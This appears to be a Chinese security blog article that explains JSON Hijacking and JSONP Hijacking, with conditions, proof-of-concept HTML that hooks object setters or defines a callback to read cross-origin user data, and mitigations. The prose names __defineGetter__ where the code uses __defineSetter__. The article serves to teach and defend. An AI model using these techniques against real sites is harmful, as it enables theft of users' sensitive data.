[聚合文章] JSON Hijacking 与 JSONP Hijacking

JSONP 2016-10-26 12 阅读

0x01 简述

简单总结一下自己对 JSON HijackingJSONP Hijacking 的理解

0x02 JSON Hijacking

利用条件:

接口请求方式需要为 GET

请求响应中包含敏感数据,且必须为 JSON 数组 ,如

[{"name": "wooyun", "phone": "18888888888"}]

返回 Object 不行

{"name": "wooyun"}

因为js脚本中包含JSON数组是有效的,可以被执行(会新建Object,并赋值),如果是 Json对象则会报错:

利用:

完整代码:

<html> 
...
<body> 
    <script type="text/javascript"> 
        Object.prototype.__defineSetter__('name', function(obj){alert(obj);});
    </script> 
    <script src="http://www.wooyun.org/userdata.json"></script> 
</body> 
</html>

需要使用 __defineGetter__ 方法添加属性 setter hook,然后使用 script 标签来加载json数组,当设置 name 属性时,会触发设置的hook函数,这里会执行 alert ,此时只需要替换hook函数代码,即可把用户数据发送给攻击者。

__defineGetter__ 函数官网解释

The __defineGetter__ method binds an object's property to a function to be called when that property is looked up.

危害: 窃取用户数据,但目前浏览器都开启了 strict MIME type checking ,除非设定 content-typeapplication/javascript ,不然都无法执行(之前图片里的测试指定了)

此外, __defineGetter__ 方法也逐渐 被限制和弃用 ,对于高版本浏览器,基本没什么影响了

修复: 指明 content-type

0x03 JSONP Hijacking

关于JSONP

用途:解决因同源策略(SOP)导致无法跨域请求资源的问题

原理:通过 script 标签来加载资源,不受同源策略的限制,但返回的内容会被当js代码来执行,如果响应里直接返回处理的js代码和数据,会太长,这时可以先在客户端定义一个用来处理json数据的函数,称为callback,然后响应返回如下形式:

callback('{"key": "value"}')

script 资源被加载后,会调用 callback 函数对数据进行处理

例子:

先在本地定一个callback函数 wooyun_callback

<script>
function wooyun_callback(a){
	alert(a);
}
</script>

然后利用 script 标签跨域请求用户数据:

<script src="http://www.wooyun.org/userdata.php?callback=wooyun_callback"></script>

服务端返回

wooyun_callback('{"name": "wooyun", "address": "北京上地"}');

浏览器会调用 wooyun_callback 函数对返回的json数据进行处理

Hijacking / Watering hole attacks

理解:类似 CSRF , 不同的是能获取到响应内容

危害: 窃取用户的敏感信息

利用条件:存在 JSONP 跨域请求资源的敏感接口

修复措施:

  • 尽量不使用跨域传输
  • referer 校验,XSS 可绕过
  • 请求 token(类似CSRF token),XSS 会导致 token 泄露
  • 使用 CORS

0x 04 参考

注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。